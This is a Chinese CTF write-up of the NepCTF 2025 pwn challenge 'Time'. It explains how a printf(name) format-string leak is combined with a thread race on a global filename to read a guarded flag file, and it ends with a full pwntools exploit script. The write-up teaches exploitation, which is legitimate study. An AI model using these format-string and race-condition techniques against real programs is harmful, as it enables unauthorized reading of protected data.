NepCTF 2025 Pwn赛题Time解析:如何利用多线程时间差攻破系统?

Time

前言

关注公众号【Real返璞归真】,回复【NepCTF2025】获取附件下载地址。

题目名:Time

解题数:101

题目描述:时间就是答案。

知识点:格式化字符串漏洞、多线程时间竞争实现竞态绕过(全局变量改写)

竞态(Race):多个操作并发执行时争夺资源,结果取决于执行顺序。

逆向分析

拖入IDA分析,找到main函数:

image-20250730195614182

main函数先调用inputName函数允许我们输入name:

image-20250730195742357

我们输入的name被存储到全局变量,然后程序会执行fork函数创建子进程。

fork函数原型:

pid_t fork();

创建成功会返回子进程的pid,然后父进程使用wait函数等待子进程结束。

此时,子进程会执行execve函数执行/bin/ls / -al命令输出根目录的文件列表,执行完毕后子进程结束。

子进程结束后,父进程输出good luck并返回到main函数继续执行。

此时,main函数循环调用inputFilename函数让我们输入文件名:

image-20250730200453426

程序会将我们的输入与flag进行比较,若输入非flag字符串,则返回True允许向下继续执行。

当我们输入非flag字符串后,程序会启动线程并调用start_routine函数:

pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);

继续分析start_routine函数:

image-20250730200912874

根据输出,我们可以推断出它根据文件名读入文件内容,并计算MD5后输出。

然后将文件内容读入到buf变量,并执行printf(name)函数输出name触发格式化字符串漏洞。

利用思路

格式化字符串泄露数据

显而易见,利用思路非常简单,文件内容被读入到buf变量但没有输出。

程序执行了printf(name),存在格式化字符串漏洞,我们的目的是泄露存储在buf中的文件内容。

为了通过格式化字符串漏洞泄露栈上变量buf的内容,我们需要通过动态调试计算出buf变量的偏移量。

我们在程序运行目录下创建hint.txt文件,并写入flag{123},然后在printf(name)处下断点:

gdb.attach(p, 'b *$rebase(0x2D0B)\nc')
pause()

p.sendlineafter(b'please input your name:\n', b'a'*8)
p.sendlineafter(b'input file name you want to read:\n', b'hint.txt')

此时,会发现无法触发这个断点,是因为gdb尝试脱离(detach)父进程并附加(attach)子进程。

我们可以在gdb中使用set follow-fork-mode patrent让gdb始终保持对父进程的附加调试。

gdb.attach(p, 'set follow-fork-mode parent\nb *$rebase(0x2D0B)\nc')
pause()

此时,程序会断点在printf(name)函数处:

image-20250730202315779

我们使用search命令搜索hint.txt中的内容:

image-20250730202533516

发现它所处的内存地址为0x7f4e78cc6a60,这也是buf变量在栈中的位置。

当前的栈顶地址为0x7f4e78cc69e0,而printf函数的第一个参数为格式化字符串(rdi寄存器)。

因此,偏移量应该从第2个参数开始计算,其余参数分别通过rsirdxrcxr8r9传递。

栈顶位置的数据应该为printf函数的第6个参数,所以buf变量应该为printf函数的第6 + (0x7f4e78cc6a60-0x7f4e78cc69e0) / 8 = 23个参数。

因此,我们需要使用%22$p泄露该地址处的数据(printf函数的第一个参数为格式化字符串,%1$p代表printf函数的第二个参数)。

p.sendlineafter(b'please input your name:\n', b'%22$p')
p.sendlineafter(b'input file name you want to read:\n', b'hint.txt')

p.recvuntil(b'hello ')
leak_data = int(p.recvuntil(b' ,your file read done!\n', drop=True), 16)
leak_data = leak_data.to_bytes(8, byteorder='little')

此时,可以泄露出的内容为:

b'flag{123'

发现并不完整,因为我们的实际flag长度大于8个字节,我们需要继续泄露高地址处的数据。

p.recvuntil(b'hello 0x')
leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)
leak_data = leak_data.split(b'0x')
for x in leak_data:
    tmp = int(x, 16)
    tmp = tmp.to_bytes(8, byteorder='little')
    print(tmp, end='')

此时,可以成功泄露出hint.txt的内容:

b'flag{123'b'}\n\x00\x00\x00\x00\x00\x00'

我们已经通过printf(name)函数泄露的栈上的buf变量,如果我们输入的文件名是flag则可以直接泄露flag的内容。

但是,我们在分析inputFilename函数时发现,如果我们输入的文件名为flag,则不会执行start_routine函数。

条件竞争绕过检查

前面的分析中,我们发现每次输入文件名后程序并不是直接执行start_routine函数,而是通过pthread_create创建新的线程执行。

这就存在时间竞争漏洞,逻辑如下:

  1. 我们在inputFilename函数中输入合法的文件(非flag)从而通过程序的检查。
  2. 程序通过pthread_create 启动一个新线程,新线程执行start_routine函数,访问全局变量file(文件名)
  3. 主线程进入下一次循环,在新线程执行前/执行期间,再次篡改这个全局变量file
  4. 导致子线程原本应该依赖未修改值file读入文件的内容,结果读入修改后的file的文件内容,从而造成逻辑绕过

编写脚本(可能需要多次运行):

p.sendlineafter(b'please input your name:\n', b'%22$p%23$p%24$p')

p.sendline(b'hint.txt')
p.sendline(b'flag')

p.recvuntil(b'hello 0x')
leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)
leak_data = leak_data.split(b'0x')
for x in leak_data:
    tmp = int(x, 16)
    tmp = tmp.to_bytes(8, byteorder='little').decode()
    print(tmp, end='')

exp

from pwn import *

elf = ELF("./time")
libc = ELF("./libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# gdb.attach(p, 'set follow-fork-mode parent\nb *$rebase(0x2D0B)\nc')
# pause()

# 格式化字符串漏洞泄露buf内容
p.sendlineafter(b'please input your name:\n', b'%22$p%23$p%24$p')

# 时间竞争
p.sendline(b'hint.txt')
p.sendline(b'flag')

# 将泄露出的十六进制转文本
p.recvuntil(b'hello 0x')
leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)
leak_data = leak_data.split(b'0x')
for x in leak_data:
    tmp = int(x, 16)
    tmp = tmp.to_bytes(8, byteorder='little').decode()
    print(tmp, end='')

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值